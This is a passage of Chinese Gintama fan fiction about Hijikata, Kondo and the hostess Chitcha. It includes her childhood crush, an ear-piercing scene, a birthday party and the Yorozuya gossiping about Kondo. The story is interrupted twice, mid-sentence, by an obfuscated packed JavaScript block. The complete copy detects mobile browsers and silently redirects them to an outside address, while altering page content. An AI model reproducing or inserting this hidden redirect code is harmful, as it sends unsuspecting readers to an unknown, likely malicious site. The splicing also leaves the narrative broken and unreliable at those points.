「就是说,要是土方先生一个人成了英雄,那我们的处境不就变得很尴尬了吧。」 土方抬起头,近藤和冲田不知何时已走到他的身前,像他刚才那样,把身上的零钱投进赛钱箱,然后依次摇晃铃铛。 他们没带雨伞,来的路上早已被雨水淋得湿透。完成参拜的流程后,两人也跟着来到土方的左右,朝着神殿跪了下来。 三人在神明面前跪成一排,无声地祈求着同一个愿望。 愿望要是说了出口,那就不会灵验了。 零零散散的脚步声从身后传来,沙哑的铃声听久了竟也变得悦耳。 这场雨持续下了整个下午。 到黄昏时分,彷彿是神明终于回应了他们的祈愿,那片浓重的阴霾转瞬间便散去了。乌云退却后,一片清明的夕阳映入眼帘。 橘金色的光芒穿透云层,落在湿漉漉的石阶上,一行人互相甩着身上的雨水,打打闹闹地回到了津田宅。 后来,据照顾千茶的侍女所言,她服过药后睡了一觉,醒来时高烧已退,而时间恰好是日落时分。 或许,这世上真的有神明存在。 千茶的病情日渐好转,而那些武洲来的浪人们,却不知怎麽全都染上了感冒,整整一週的时间,道场都是空荡荡的。 医生说她体质虚弱,需要多加休养,因此老爷子特意为她免去了正月的课堂。 难得清闲的千茶每日坐在廊下晒太阳,无事便与来探望的少年或闲聊,或找些别的乐子。 在那之后,时政的病情依然时好时坏,她在不经意间仍会流露出几分愁绪,但那种令人窒息的绝望感已不復存在。 又过了一个月。 千茶刚与外祖父聊完些家务事,从侍女那裏打听了一句土方的位置,然后便回房间拿了些东西,直接走往庭院。 扎着马尾的黑发少年在庭院挥舞着竹刀,上衣随意缠在腰间,汗湿的发尾贴着脸庞,让他不耐地晃了晃脑袋。额上的汗珠因他的动作顺着颈侧滑落,最终消融在肌肉的接缝间。 挥刀的动作与清秀的外表相反,带着几分狠劲,这样的反差更令人难以移开视线。 察觉落在自己身上的目光,他放慢了动作,把手中的竹刀缓缓垂下。 「喂,你现在有空吗?」千茶走了过去跟他搭话,语气还是一如既往的懒散。 土方点点头,转头朝她看了过去「你不是该在房间养病吗?怎麽跑出来了?」 「医生说我要多走动才好得快。」她说着,拿起他放在一旁的毛巾递了过去。 他接过毛巾,坐到一旁的石阶上,擦拭着身上的汗水。 「那个,我能和你聊些事吗?」她目光定定地看着他。 她的注视让土方感到些许不自在,却还是点头答应了她的请求。 千茶随即在他身旁坐下,顺手摘了朵蒲公英在指间轻转。 「我最近遇到一个有点在意的人,能听听你的意见吗?」她漫不经心地说着,手指轻轻拨动蒲公英的绒毛。 土方眨着眼睛,似乎对自己刚听到的事感到一丝不确定。 虽然自神社那件事后,他感觉到他们之间的隔阂已经全数消除,但他也没想到,她会主动找他进行恋爱相谈。 「喔…原来你也会有这种烦恼啊…」他故作自然地揶揄着她,就像电视剧里爲主角充当恋爱教练的友人角色。 「对方是个怎样的人?」他问,为了掩饰自己毫无经验,他假装漫不经心地整理起衣衫。 看来,这个人一没自信就会变得很忙。 千茶这次难得没揭穿他,视线轻扫过他身上,然后微微抬眼,做出陷入回忆的模样。 「是个黑发的年上美人,身材很好,皮肤也挺白的,尤其是扎起马尾时,后颈那片雪白的肌肤更是让人…」 少年心事本应是些青涩的悸动,至少土方是这样。 因此当这个小鬼逐渐口出狂言时,他心下一惊立刻打断了。 「好了好了!不用告诉我你的癖好。」 「我想让你更加具象嘛。」 土方头痛地扶着额头,默默给自己点起一支烟。他打从一开始,就不该对这种脑子里尽想些乱七八糟的小鬼抱有期待。 总悟千万别变成她这副鬼样子。 「你给我听着,私下议论女性的外貌是非常失礼的事。要是真的喜欢一个人,和别人提起时,应该说些更深层的东西吧?比如说性格、喜好、内涵之类的。」 「这样啊…让我想想…」 土方瞥了一眼陷入思考的千茶,忍不住打趣「…亏我还以为你真有什麽恋爱烦恼,结果就只是个喜欢漂亮大姊姊的色小鬼。」 被他这样调侃着,千茶也倒没恼,目光幽幽地在他身上打转。 也对,她却实是喜欢漂亮的「大姐姐」。 那种打量的眼神让土方莫名地觉得浑身发痒,想快点找个藉口让她移开目光。 「那个人的性格还是挺对我口的。」她轻飘飘地说道,视线再次落回手裏的蒲公英上。 「哦,说来听听。」 「像是傲娇、未婚却很有人妻感之类的。听见他对我发难,就会有种热血沸腾的觉…」 「说到底不还是在跟我分享你的癖好吗!」他听到一半便忍不住打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她握住手中的蒲公英,轻轻吹了一口气,让绵软的种子随风飘散。 「好了,你那个美人姐姐怎样了,你打算去告白吗?」他重整了一下心情,看向旁边对着蒲公英发呆的小鬼。 千茶摇摇头,把手裏的花枝丢回草地,懒洋洋地伸展着手臂。 「算了,在对方眼裏我也只是一个小鬼而已,就算真去表白,也不会被被人当回事的。」 「想不到你还挺负面的嘛。」 「打个比方,假如有个十三岁的小女生向你告白,土方先生你会怎麽想?」 这个问题确实把他难倒了。 他是个成年人,自然不会认真去考虑一个小女孩的告白,而且还有青少年保护条例… 但照直说,就好像在泼面前的少年冷水。 「一定想都不想就拒绝吧。」 在他给予答复前,她便先一步说出了答案。 千茶抬头看着他,淡淡地笑了「所以你懂了吗?」 土方愣了一下,欲言又止。 他总觉得这番对话中有什麽不对劲,但又说不上来。 「嘛,不过我还年轻,也不打算困在一棵树上。」她坦然地说着,手顺势搭上他的肩膀。 「既然你也有了想法,还来找我说些什麽?」 「我想了很久,决定爲了纪念我无疾而终的初恋,我决定进行一个纪念仪式。」 土方一头雾水地看着她从口袋拿出了一个像塑料小盒的东西和一包酒精溼巾。 「交给你了,十四。」 「这是什麽?」他盯着手上被她塞过来的小东西,后知后觉地想起要纠正她的称呼「等等,谁允许你叫我十四了?」 「我们都是一起失恋、一起疗伤的关係了,就别那麽拘谨嘛,十四。」 什麽一起失恋、一起疗伤,明明就是她忽然走过来揭起他的伤疤。 「这个是帮忙打耳洞的套装。」千茶解释,然后眨着一双漂亮的眼睛,用恳求的视线紧紧盯着他「帮我打耳洞吧。」 「你说什麽?」 「我说,帮我打耳洞。」她一边轻拍着他的肩膀,语气里带着几分期待。 「你一个大男人弄这些干什麽?」 「来嘛,这个就当是我失恋的纪念。」 话说开了,虽然对方大概没听明白,但她也放下了最初的那份防备,反而多了几分肆无忌惮。 「对自己动手需要很大的勇气,我做不到。我想了很久,从卫生角度和安全性来说,还是让你来风险最小。」她说。 土方想要拒绝,但正要张口她便露出一副「我都失恋了,你还拒绝我」的可怜模样,让他把拒绝的话又咽了回去。 真是的,又不是他让她失恋的,搞他干嘛。 「你这傢伙可真会给人出难题…」 得逞的千茶马上打开溼巾,抽出一张来仔细地给他擦着手。 他小心翼翼地拿起打耳洞的工具,有些笨拙地按照说明书上的步骤操作。 她紧紧闭上眼睛,直到感受到耳垂上传来一阵刺痛。 「痛吗?」他问。 当然痛了。 她摇摇头,笑容淡淡「只是觉得…啊,我还活着啊。」 「好了,到另一边了呢。」她说着,一边催促似的拆开包装「快用你幼细又尖锐的那玩儿贯穿我的身体吧。」 「你这语气真让人不舒服。」土方听着她不正经的调侃,打了个冷颤。 「喂,你说谁的那玩意是幼细又尖锐,信不信我揍你!」话虽说得狠,但他手上的动作倒是没停,小心翼翼地为她打上另一边的耳洞。 有些人的初恋,是萌芽于一场刺骨的大雨,终结于皮肉被贯穿的痛楚。 时间回到现在。 近藤勋藉着土方十四郎生日的契机,把休假的队员们都喊了去Smile庆祝。虽然寿星本人对此兴致缺缺,但既是上司的命令也只好遵从。 酒过一轮,不知道谁提议要玩真心话大冒险,像土方这种偶像包袱极重的人,自是不喜欢这种无视人权的游戏的,不过上司和下属们都一脸期待,他也不好扫兴,还是半推半就地和他们玩了起来。 值得庆幸的是,游戏过了五轮,酒瓶仍然没有指向他。 而第六轮的酒瓶,指向了坐在他旁边的浅井千茶。 「我选真心话。」千茶的回答乾脆俐落。 她可是干这行的,根本不会爲这种游戏而有所动摇。 「那麽...」其中一个队员举手「我要听茶茶小姐初恋的的事!」 千茶停顿了一瞬,手不自觉地碰了一下耳垂的耳环。 一般来说,她们都不会因这种问题而动摇,毕竟随便说些漂亮话就能带过,也没有人会去深究一个陪酒女的初恋故事是真是假。 所以她现在也可以像平常一样随便编个故事;或者,趁着当事人在场的机会,跟他说点真话,重温一下往事也不错。 权衡片刻后,她还是选择举起酒杯,当作迴避问题的惩罚,仰头一饮而尽。 看在今天是他生日的份上,而且还有那麽多部下在场,就先不弄他了。 土方顺着众人的目光,把视线停留在她脸上,脑海中蓦然浮现一段久远的记忆。 初恋啊… 印象中,千茶好像和他稍稍提过。 那时候她说什麽来着? 『算了,在对方眼裏我也只是一个小鬼而已,就算真去表白,也不会被人当回事的。』 『打个比方,假如有个十三岁的小女生向你告白,土方先生你会怎麽想?』 『一定想都不想就拒绝吧。』 『所以你懂了吗?』 他的脑子忽然响了起来。 他…好像懂了。 年上、黑发、绑马尾… 她说她喜欢的人是个身材很好的美人,却一句都没提过性别。 现在不是也会把长得好看的男生称作美人吗? 难道说… 「怎麽了?」千茶已经放下了酒杯,但唇上还沾着湿润的酒水。 土方战术性地往另一边挪过了一点,摇摇头。 「土方先生的脸好红啊,难道开始醉了吗?」她问道,眼里不带半分平日的狡黠,看来是真心在关心他。 「不是,我…」土方试图掩饰他的慌乱。 人在不知所措的时候,总是特别忙碌。 土方就很忙碌地弄洒了面前的酒,这样使千茶更确信他开始有些醉意了,她在旁边拿了条毛巾,轻轻替他印着衣服上的酒水。 「我、我自己来就可以了。」他低着头从她手裏夺去毛巾,胡乱地擦着。 大伙的游戏还在继续,她趁着众人的注意力都不在他们这边时,悄悄凑到他耳边。 「十四,打烊之后。你能在外面等我一下吗?」 她就只会在独处的时候喊他十四。 明明在近藤先生那里只是再平常不过的称呼,到了她口中却变了味。 就像在调情一样。 他感到耳朵微微发烫,含糊地应了一声,接着一把拽起山崎的衣领,拉着他陪自己去厕所清理身上的酒渍。 「副长,虽然今天是你的生日,但这种事你就自己…」 「山崎,我问你一个问题,你要认真地回答我。」 山崎被他紧抓双肩,那严肃的神情吓得他僵在原地,只能呆呆点头。 「你觉得我怎样?」 虽然山崎在真选组的这些年,也经历过大大小小的难题,但显然没一个比眼前这个更令他头疼。 「副长你...虽然脾气是有点暴躁,但人品和能力都没话说...」他战战兢兢地回答,一边小心观察着上司的反应。 「不是问这个!」土方懊恼地抓了抓头发,理性和感性在他脑海中暗自挣扎,最终还是决定要豁出去,要不然他今晚,甚至接下来的一週、一个月都不能睡好。 「你觉得……我长得怎样?能称得上是个美人吗?」 他一边说着,一边朝山崎逼近,直到山崎的后背紧贴牆壁,他才停了下来。 山崎觉得自己离崩溃大概只差1毫米的距离。 他当了这麽多年警察,培训课上可从来没教过要如何回应上司的容貌焦虑问题啊! 他仔细地打量着面前的副长,分明的轮廓,深邃的眼眸…确实称得上俊美。 为什麽平常完全不在意自己长相外面貌的副长,会突然在意起这个问题,难道说… 「那个…副长你难道是有喜欢的人了吗?要我帮…」 「直接答我的问题。」 「是、是!副长你的确是位美人呢…」 土方似乎对这个答复很满意,按在他肩膀上的双手松开了,接着从烟盒里取出一根菸叼在嘴上。 「果然是这样…」他喃喃自语道,一边掏出蛋黄酱造型的打火机,点起了烟。 不是…副长这样实在太奇怪了吧?被说是美人会让他那麽高兴吗? 「那麽身材呢?你觉得我的身材怎样?」 「唔...」山崎尴尬地搔了搔脸颊「副长你身材也挺好的...」 「那你觉得我煮的东西难吃吗?」 想到那些掺了蛋黄酱的诡异料理,山崎有些犹豫。 「副长煮的东西...很有个人特色!不过对一般人来说是…有些难以接受…」他小心翼翼地选择措辞,见对方的脸色没有变糟,暗自松了口气。 「看来这点的准则太主观,不能算在内。」土方说着,犹豫了一下「好了,最后就是…」 听见是最后一题,山崎明显松了口气,却没想到接下来的问题才是大Boss。 「你觉得…我有人妻感吗?」 山崎听到那三个字,整个人瞬间僵住。 人妻感…? 这个人妻,是他想的那种人妻吗? 他觉得没有律师在场,这种问题还是别回答为妙,尤其是此刻副长脸颊泛红,正一脸期待地等着他的回复。 等等,这不对劲吧?这些问题完全不对劲吧? 怎麽听都像是相亲时会列出来的择偶条件啊? 为什麽副长要特意询问他的看法,还把自己摆在女方的立场… 副长该不会是看上他了吧? 山崎重重地吞了口唾沫,脸色一下子变得惨白。 他强装镇定地擦了擦额头上的汗「副、副长,我还是先回去吧,我好像听见冲田队长…」 「总悟今天在值班。」土方一把抓住他的衣领,再次将他按回牆上「先回答我的问题再回去!」 「有!」山崎大概是吓怕了,急急忙忙地吼出一声「副长你有人妻感!我觉得有!」 说完,他紧紧阖上双眼。从没想过他山崎退竟有一天会为了这份破工作而出卖自己的灵魂和身体。 难道说经过这些年的相处,副长早已对他暗生情愫,所以在选在生日这天,趁着酒意试探他的想法,下一步就想跟他…组建家庭?! 不行不行不行。 他们可是直系的上司下属啊,要是传了出去,真选组就… 正当他陷入胡思乱想时,已获得满意答复的土方立即松开了手,他随即顺着牆壁滑落。 山崎茫然地睁开眼,只见他的上司早已恢復平日的严肃,彷彿方才那些面红心跳都只是一场幻觉。 「果然…」土方小声呢喃着,像是在确认些什麽。他深深吸了一口菸,随后将剩下的菸蒂按灭在洗手台边的烟灰缸里。 「一切都对上了。」 对上?什麽对上?和刚才的问题相关吗? 「副长?」 山崎试探性地喊了一声,土方转过头,带着几分嫌弃地瞥了眼跌坐在地上的山崎。 「刚才的事,谁都不准说,要不然我就杀了你。」 劫后馀生的山崎不敢再追问,只是唯唯诺诺地点头,然后飞快地逃离现场。 生存才是硬道理,他如此安慰着自己,至于副长今天的异常举动还是先别多想了。 事隔多年,土方十四郎终于也搞清楚。 浅井千茶当初所谓的初恋对象,根本不是什麽美人大姐姐,而是他本人——绑着长马尾的黑发美少年。 这夜,土方喝得并不多,一方面是那些逝去的记忆涌现,让他难以专注;另一方面,他也有些在意,千茶为什麽特意让他在闭店后等她。 由于副长的私心,众人一直喝到打烊。当大家醉得厉害,互相搀扶着往回屯所走之际,谁也没注意到他的落后。 他想着,要是她等下问起那时候的事,这次他一定会郑重地跟她道歉,然后好好地拒绝她一次。 刚抽完一支烟,店里的公关们便陆续从门口出来,千茶捧着一个礼物盒,向同僚们挥手道别后便径直朝他走来。 「给,这个是生日礼物。」 他完全没料到她会准备礼物,预先准备的拒绝说辞在此时完全派不上用场。 「谢谢…」他从她的手里接过礼物,里面沉甸甸的,也颇有份量。 他心里不禁闪过一丝对礼物的期待,直到… 「这是小春挑了很久的礼物,要是你喜欢的话,她会很高兴的。」 「是小春的礼物啊。」 明明只是一句平常的陈述,却让人听出一丝难掩的失落。 千茶仰着脸凑到他面前,得意地翘着嘴角「哦…难道说你想要收到我的礼物吗?」 「才不是。」他反驳着,边把脸别了过去。 打从意识到面前的女孩子喜欢过自己,他就无法冷静下来和她对视。 刚才大伙喝酒时,千茶已经隐约察觉到,土方似乎也意识到她当年那些隐晦的「告白」。 或许是这几年经历的事太多,她现在已无法忆起那时的悸动,以及固中的细节。 不过从现况看来,几年过后,他反倒开始在意起她的存在了。 或许,她的初恋并非以悲剧作结。 微甜的莓果香气混杂着酒精的气息飘散在鼻尖,土方微微恍神,直到感受到颈侧传来前所未有的柔软触感,还有她温热的呼吸。 「生日快乐,十四。」 31. 教练只会场边执教,从不亲自上赛 距离圣诞节还有一周左右,万事屋近来的生意有点惨淡。 天气太冷了,小猫小狗都提不起离家出走的决心;而那些不甘寂寞的蠢货,又宁愿继续与出轨的恋人虚与委蛇,也不愿独自度过圣诞。 自从道场的门生越来越多,志村妙也计划在春天前把道场翻新一次。也不知道算是她幸运,还是坂田银时的不幸,恰巧万事屋正值淡季,她正好可以动用这些免费的劳动力。 「你这是想白女票吗?是白女票对吧!」银时挥着手上的勺子,试图推却「要真那么缺人的话,就去找那个跟踪狂猩猩,让他喊些手下来帮忙不就行了吗?」 提起那隻猩猩跟踪狂,阿妙脸上的似笑非笑更深了些。 「说起来,最近好像都没见到近藤先生呢。」新八回忆道「说起来也快两週了吧。」 「难道说猩猩终于放弃跟踪大姐头了吗?」 神乐的话语一落,他们都不约而同地看向阿妙,等着她的反应。 「是这样就好了,毕竟…啊啦,刚说起他就出现了。」 顺着阿妙的视线看向窗外,果然看到了近藤的身影。他一身便服,提着大包小包在路上走着,空出来的手握着一杯饮料。他似乎感应到他们的目光,迅即转身看向他们所在的家庭餐厅。 当他看清窗边的人就是他朝思暮想的阿妙时,双眼立即亮了起来,下意识就要往他们这边走来。 但他才刚迈出一步,就像被什么东西拉住了一般,突然止住了步伐。 近藤侧过身,低着头似乎在和谁说话。 他的个头太大了,把旁边那人挡得严严实实,但从他低头的角度来看,对方似乎不是真选组的人。 组内应该没有那么矮的队员,再说那个身高也不像是成年男子。 随着他的动作,一隻纤细洁白的手从被他遮挡的地方伸了出来,轻轻拉住了他的衣袖。 那个大猩猩正和女孩子在一起! 如此冲击的画面让万事屋纷纷放下手裏的甜点和饮料,挤到窗前。 「那是女孩子吧?近藤先生旁边那个是女孩子吧!?」新八难以置信地重复着。 「不对,一般女孩子又怎会喜欢那个类型,应该是长得很像女孩子的…」 银时话还没说完,千茶就从近藤身后探出头,朝他们看了过来。 还真是女孩子啊,而且还是认识的人… 「诶,原来是茶茶啊…」阿妙的声音异常欢快,她一如既往地脸上挂着笑,却不知怎么让人觉得背嵴一凉。 千茶喝着她惯常拿在手的星冰乐,松开了近藤的衣袖,朝他们挥了挥手。 神乐见状也马上挥着手给她回应。 她轻轻碰了下近藤的肩膀,仰起头在他耳边低声说了句话。近藤随即收回视线,低下头不再往这边张望,转而与千茶说起话来。 打过招呼后,近藤和千茶再次迈步,万事屋一行人就趴在窗前,眼睁睁地两人看着渐行渐远。 待两道身影完全淡出视线,神乐才反应过来,着急地扯着银时的衣领「小银!茶茶姐姐现在竟然开始养起大猩猩了,那我是不是没机会了?!」 夜兔的力气可不能小看,银时挣扎着把神乐的手给撇开,差一点他就要喘不过气来。 新八本想吐槽两句,但当他回想起刚才的千茶打扮漂漂亮亮,肩上只挂着一个精緻的BXTCH小包,而近藤却像个苦力般双手都提满了纸袋,他便顿时说不出话来。 确实。 精緻的发妆、一看便知是上等料子的订製和服,再配上雪白毛绒绒的围脖,举手投足都透着大户小姐的娇贵。就她这副模样,的确像个带着奴僕出巡的公主。 若要用「养」来形容主僕之间的关係,倒也不算说错。 「我记得冲田先生说过,他们和茶茶小姐认识很久了。」新八说着,试图将眼前的画面理解为朋友之间的普通聚会。 回想起银时最近才跟千茶见过面,新八转头想问问他是否知道些什么,却发现银时正以一脸複杂的表情望着那两人远去的方向。 同情又带着敬佩。 「银桑,你这张脸是想怎样。」 「看见自由自在的野生猩猩被卖到马戏团,一般人心裏多少都会有些不忍,我现在就是这样的心情。」 新八眯了眯眼睛,试图分析他的话,未果。 「你在说什么?」 「你没看见吗!那隻猩猩现在可是被调〇得能用两隻脚走路了!」银时激动地拍着桌子站起来。 「猩猩本来就是用两隻脚走路的!真要说的话,应该说他被〇教得能提着那么多东西走直线吧!」新八也学着他大嚎,他们的声音之大把周遭的注意力都吸引过来了。 在这一片混乱之中,神乐在劝止和道歉之间,选择了加入。 「我决定了!既然茶茶姐姐现在喜欢猩猩,那我也要开始转型!」神乐雄心壮志地宣布,随即挥手叫来侍应生,要求追加一份香蕉船。 「不是,就算是银魂,以猩猩来当女主角还是太超前了。」新八劝说着,但神乐兴致满满的什么都没听进去,只顾着嚷嚷要成为像泰〇那样的女主角。 「泰〇的女主角是叫珍妮的少女,根本就不是猩猩啊!你努力的方向打从一开始就完全错了!」 「不对不对!泰〇里面的女主角既不是泰〇也不是珍妮,是那个养大泰〇的猩猩妈妈啊!」银时插嘴道,一脸恨铁不成钢的表情。 这句话让神乐顿时像是找到突破口般兴奋地喊道「我懂了!所以说我要变成猩猩妈妈才对吗!」 「啊啊啊!烦死了,我不管了,要成爲猩猩还是被猩猩养大都随便你们!」新八抓着脑袋,决定不再理会那两个胡闹的老闆和同事。 他低头喝了一口果汁,刚想和旁边的姐姐说些什么,却发现她一脸心不在焉,视线仍然停留在那两人远去的方向。 「姐姐…」 突然间,一个大胆的想法划过脑海,新八的心猛地一跳。 「姐姐,你该不会是对…」 「说起来,森〇王子和泰〇到底有没有关係?」阿妙忽然转过头,看着对面似乎对泰山很熟悉的银时。 「泰〇和森〇王子完全是不同的故事啊!」新八下意识地吐槽。 看见姐姐还是像平常一样,他虽然被他们吵得有点头疼,但心里也算是放下了一块石头。 「别转移话题好吗!亏我还以爲…」 以为姐姐在不知不觉间,开始在意起那隻不着调的跟踪狂猩猩。 「但话说起来,有些地方确实把森林〇子翻译成小泰〇,而且他们都是住在树林又是被动物养大,会搞混也很正常。」银时若有所思地说道,神乐正想继续追问,却被新八给制止了。 「好了,迪〇尼的话题再不停在这裏就要惹麻烦了。」他说。 确实,要是冒犯了本地的作品,顶多跪地道歉就能解决。但若是涉及到境外,特别是那个迪〇尼的话… 想到这里,刚才还在兴致勃勃耍宝的一行人顿时安静了下来。 作为本作的主役,兼立派的大人,银时决定率先换一个话题。 他握拳轻抵嘴边,清了清喉咙「对了志村,我们还是说回重组动物园的事吧。」 「道场、是道场!也不是重组,是翻新!我这个志村也不认识什么小庞和詹姆斯。」 「可是我刚才明明看到詹姆斯带着小庞经过啊?」神乐歪着头说道。 如果近藤像小庞的话,穿着米色和服的千茶就是詹姆斯了。 某种意义上…还挺般配的。 「说起来,小银不是前几天才见过茶茶姐姐吗?有听她提起过近藤先生吗?」 银时确实在前几天才在柏青哥店见过千茶。 她像平日一样干着那些惹人误会的举动,还刚好给小猿撞个正着,接下来的发展就和上一章一模一样… 银时无聊地晃到服部全藏家裏找乐子,没想到又碰上来讨说法的猿飞。两个忍者正在客厅打得不可开交时,千茶不知从哪里跟了过来。 一阵天旋地转后,他发现自己已被猿飞拉上了屋顶。 他自认只是个业馀的过气攘夷志士,听力远远不及御庭番那些受过专业训练的人士,只能模糊地听到一些屋内的对话,像是她说自己男女不拘,只会以想睡和不想睡来分类。 直白得让人难以招架。 那天,千茶也没在服部家待很久,等到饮料喝完,她就回去了。 回到屋内后,猿飞从千茶坐过的坐垫下发现了几张小抄。他凑过去跟她一起看,上面写着的大概就是千茶刚才说过的那些话。 当时小猿跟他说了什么来着… 是了。 「银桑,千万不要相信这个女人说的每一句话。」 虽然每句话都表露着对她的不信任,但猿飞还是小心翼翼地把她留下的小抄收了起来。 即使明知那些小抄是她刻意留下,即使明知每句话都是她精心计算后所写。 还是像被下蛊一样,将心向着她。 也许,近藤也不过是另一个被她玩弄于股掌之间的可怜人罢了。 那么,他自己呢?难道也成了她的玩物了吗? 「银桑?」 银时晃了晃脑袋,试图把那些乱七八糟的想法给甩掉。 「啊...那天嘛,她什么都没提起呢。」他漫不经心地回应着,重新坐好,拿起勺子继续享用他的芭菲。 阿妙若有所思地瞥了他一眼,细细回忆「我倒是听过一点他们的事呢。」 万事屋三人立即望向她,只听她继续说「我也是从店里的人那边听来的。前阵子那隻大猩猩在我休假的时候来了店裏喝酒,特地指名了茶茶,还给她送了一部最新型号的手机呢。」 她脸上还是那副轻松的笑容,却又夹杂一丝说不清道不明的情绪。 这下子,新八终于恍然大悟,姐姐身上那份不对劲根本不是什么爱情的萌芽,也不是少女心思作祟...完全就是职场上的明争暗斗啊! 试想一下,作为店里的销售冠军,有一天你忽然发现自己的大顾客趁你休假时,不跟你打声招呼就去光顾了你的同事,不仅大手笔消费,还送了她名贵礼物… 她和千茶的交情还算不错,而且也知道两人本来就相识,也不难理解他的行为。 大概是既想和老朋友叙旧,又不想让她误会吧…姑且就当是叙旧好了。 可是自从那天以后,一个再也没踏入Smile,另一个则一直请着病假。 店里渐渐开始传出闲言闲语,尤其是当晚有人亲眼目睹他和土方、冲田特意在外面等她下班。 这些闲话全部都是阿妙一个人替她挡回去的。 她了解千茶的为人,做事不拘小节、客源也充足,而且一向没有竞争心,并不是那种会使手段抢夺同事客户的类型。 况且近藤勋对阿妙来说,也不过是个可以利用的提款机罢了,她根本不会把他的事放在心上。 即便如此,但当她看见这两人有说有笑地出现在眼前时,心里还是不禁感到一阵莫名的鬱闷。 也许她只是感到被排除在外,但仔细想想,作为一个同事和被跟踪的受害者,她根本没有立场去过问这些事。 说到手机的事,银时倒有些印象。 上个月,他陪千茶去找源外大叔修理坏掉的手机。当大叔说修不好时,她便掏出一部新机,说是朋友送的礼物,请源外大叔帮她把旧手机的资料转移过去,顺便关掉里面的追踪系统…… 等等,追踪系统? 这个变态跟踪狂竟然在她身上动用了这种高科技手段?! 银时咬着勺子,越想越觉得可疑。近藤是个直来直往的人,怎么说都不会... 脑海中猛然浮现一个背着火箭炮、正在往蛋糕上倒无色辣酱的栗发少年。 。。。 她怎么老是招惹上那些奇奇怪怪的人?! 现在看来,就是近藤不知出于什么原因,给千茶送了一部新手机,殊不知裏便已经被冲田安了追踪器,千茶收到后似乎察觉到了这一点,她不但没有发难,还将计就计地让大叔给她修改了… 她到底想干些什么? 好端端一个陪酒女怎么突然和警察玩起心理战来?再说,他们不是朋友吗? 他可没从假发那裏收过什么带跟踪器的东西…不是,应该没有吧。 他赶紧摸了摸自己身上,看看有没有什么可疑的东西。 「银桑,你在干甚么?」 「我要看看我手机裏有没有安装跟踪器。」银时说。 新八听到后,疑惑地看着他「你不是一直都没用手机吗?」 银时的动作顿时停了下来。 「没用啊。」他说 「那你找个什么劲啊!」 「放心吧,像小银这种脚臭的大叔,根本没人会在你身上放追踪器。一看就知道,不是在柏青哥店,就是在酒馆里喝得烂醉。」神乐说着,把侍应生刚送来的香蕉船移到自己面前,举起叉子就开始吃了起来。 银时心裏纵有不忿,却也无法反驳。 因为他确实如她所说,没工作的时候就是个只懂得喝酒和玩小钢珠的废柴大叔。 既然反驳不了,他决定化反击为主动,开始吵神乐发动起攻击。 竟然他不好过,那别人也别想安生。 看着两人又像平常一样斗嘴扯头发,新八叹了口气,把神乐面前的空盘子撤到一旁,以免他们闹腾时把别人的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940214|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西打破。 「真是的,平时在家裏闹腾也算了,在外面就收敛一下吧,这样会打扰到别人的你说是吧,姐姐…」 新八转过头看向阿妙,但她似乎完全没察觉到弟弟的视线。她只是默默地坐着一旁,漫不经心地用吸管搅着杯中的饮料。 撇除跟踪狂这一点,近藤有一份稳定的高薪厚职,虽然长相比不上冲田和土方帅气,但对喜欢硬汉型的人来说自有一番魅力。他心地善良、为人正直,性格温驯,在其他猩…队员心中更是个备受爱戴的领袖。 虽然平常总是毛毛躁躁的,但在重要的事情上一直都很明白分寸,绝不模糊。 要是千茶真的和他发展下去,将来成了家,他应该也会是个疼惜家庭的丈夫。 毕竟,他对喜欢的女孩子可是一心一意的。 一心一意啊…那么今天晚餐还是吃炒鸡蛋吧。 真选组的屯所。 「茶茶老师!到底要等到什么时候,我才能去见阿妙小姐啊!」 千茶嚥下嘴里的可丽饼,优雅地从旁边抽了张面纸轻拭嘴角的奶油,这般从容不迫的姿态与面前那位发狂的大猩猩形成了鲜明对比。 别说让人猜不到他们是朋友,他们看起来简直连画风都不一样。 「勋同学,你刚刚不是才和小妙碰过面吗?」 近藤想起刚才只能隔着玻璃远远与阿妙对视一眼,立即摇了摇头「那种根本不算数啊!」 她并没理会近藤的抗议,又咬了一口可丽饼,慢条斯理地咀嚼着。 「我已经按照老师说的,一週没去阿妙小姐家了。刚才也只能远远看她一眼,一想到往后都见不到她的脸,我的心就隐隐作痛!」 要问千茶爲什么会在真选组的屯所,听着近藤诉说他的相思之苦,那还得由她把那个通缉犯捡回家养伤开始说起。 为了避免引起真选组的怀疑,或是他们突然来她家「探病」,她每隔一两天就会过来露个面。 她有时会以来和终哥交换日记作藉口,有时则说要找总悟打游戏。但因为排班的缘故,玩游戏的请求总是会被土方否决。 于是她便退而求其次,让他准备一份甜点,说自己有点低血糖头晕,吃完就走,结果总是顺理成章地在那裏待上整个下午。 土方虽然不情愿,但对她也无可奈何。毕竟她身上还带着上次行动留下的伤,他只要语气稍微凶一点,她就会摆出一张楚楚可怜的脸去向近藤告状。 真不愧是总悟的朋友。 某天,她经过庭院时,恰巧看见近藤正闷闷不乐地望天叹气,便随口关心了一句。 然后她就被缠上了。 「你们男生总对女孩子有些误解,老想扮演那种随传随到的霸道总裁,以为自己会很受欢迎,但女孩子根本不吃这一套。」 听到千茶的评价,近藤瞪大眼睛,一脸三观被颠复的震惊模样。 「诶?可是电视剧和漫画不都很流行这类型的男主角吗?」 「电视剧和漫画裏也经常出现那些动不动就哭、柔柔弱弱的女主角,勋同学喜欢这种吗?」千茶问。 近藤挠了挠脑袋,他的阿妙可不是那种弱质纤纤的柔弱少女。 而是个集美丽、坚强、温柔、体贴、韧性、力量、爆发力于一身的完美灵魂。 「不管电视剧怎么演,你喜欢的人,终究是那个能让你心动、在你眼中独一无二的女性,不是吗?」千茶说着,拿起最后的可丽饼,送进嘴裏。 吃完可丽饼后,她端起一旁的热茶轻啜了一口,冲淡了口中的甜腻。 「所以,与其一味地追求,你更应该学习一下如何成为她心目中的独特存在,成为那个能让她心动的男人。」 让她心动的人吗…? 